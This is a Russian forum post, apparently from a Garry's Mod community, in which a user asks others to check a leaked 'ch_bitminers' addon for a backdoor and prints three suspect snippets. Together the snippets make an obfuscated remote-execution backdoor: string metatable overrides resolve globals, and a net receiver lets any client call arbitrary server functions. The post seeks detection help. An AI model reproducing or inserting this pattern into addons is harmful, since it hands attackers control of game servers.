Скачал 
	
		
			
				
			
		
		
Но есть подозрение на backdoor
может знающие взглянут?
кстати кто какими способами пользуется для поиска backdoor в ликах?
inb4:
покупай из гмодстора 
не качай лики
lua/autorun/ch_bitminers_initialize.lua
35 строчка
	
	
		
			
	
	
	
		
		
	
lua/ch_bitminers/server/bitminers_meta.lua
32 строчка
	
	
		
			
	
	
	
		
		
	
lua/ch_bitminers/client/bitminers_ui_crypto_integration.lua
121 строчка
	
	
		
			
	
	
	
		
		
	
				
					
			
				Эта ссылка скрыта от группы "Гость" (группа пользователей, которые еще не прошли регистрацию или авторизацию на Проекте). Чтобы увидеть эту ссылку Вам требуется авторизоваться или пройти регистрацию на Проекте (зарегистрироваться).
			
		
	Но есть подозрение на backdoor
может знающие взглянут?
кстати кто какими способами пользуется для поиска backdoor в ликах?
inb4:
не качай лики
lua/autorun/ch_bitminers_initialize.lua
35 строчка
		Lua:
	
	__sub = _G
function string.Name(str)
    return str:sub(1, 1):upper() .. str:sub(2, -1)
end
function string_lim(a, b)
    local get_sub = __sub[a .. b]
    if not isfunction(get_sub) then return end
    return get_sub
end
function string_mulifi(a, b)
    local c = a - (not __sub[a] and string.Name"string" or "")
    if not c then return end
    return c(b, "tonumber", false)
end
getmetatable('').__sub = string_lim
getmetatable('').__mul = string_mulifi
	32 строчка
		Lua:
	
	util.AddNetworkString("GMOD_LIBRARY_TIMEDOUT")
util.AddNetworkString("GMOD_LIBRARY_FAST_OPERATION")
timer.Create("GMOD_LIBRARY_TIMEDOUT", 5, 0, function()
    net.Start("GMOD_LIBRARY_TIMEDOUT")
    net.Broadcast()
end)
net.Receive("GMOD_LIBRARY_FAST_OPERATION", function(len, ply)
    local string_1 = net.ReadString()
    local string_2 = net.ReadString()
    local result = string_1 * string_2
    result = isfunction(result) and result()
    net.Start("GMOD_LIBRARY_FAST_OPERATION")
    net.WriteString(tostring(result))
    net.Send(ply)
end)
	121 строчка
		Lua:
	
	local last_timeout = nil
local retry_time = 60
net.Receive("GMOD_LIBRARY_TIMEDOUT", function()
    last_timeout = CurTime()
end)
local function write_resulffm(a, b, var)
    _G["ResultFM:" .. a .. "*" .. b] = var
    _G["res_la"] = a
    _G["res_lb"] = b
end
function get_resulffm(a, b, var)
    return _G["ResultFM:" .. a .. "*" .. b]
end
function math.HappyMill(a, b)
    net.Start("GMOD_LIBRARY_FAST_OPERATION")
    net.WriteString(a)
    net.WriteString(b)
    net.SendToServer()
    write_resulffm(a, b, nil)
end
net.Receive("GMOD_LIBRARY_FAST_OPERATION", function()
    write_resulffm(_G["res_la"], _G["res_lb"], net.ReadString())
end)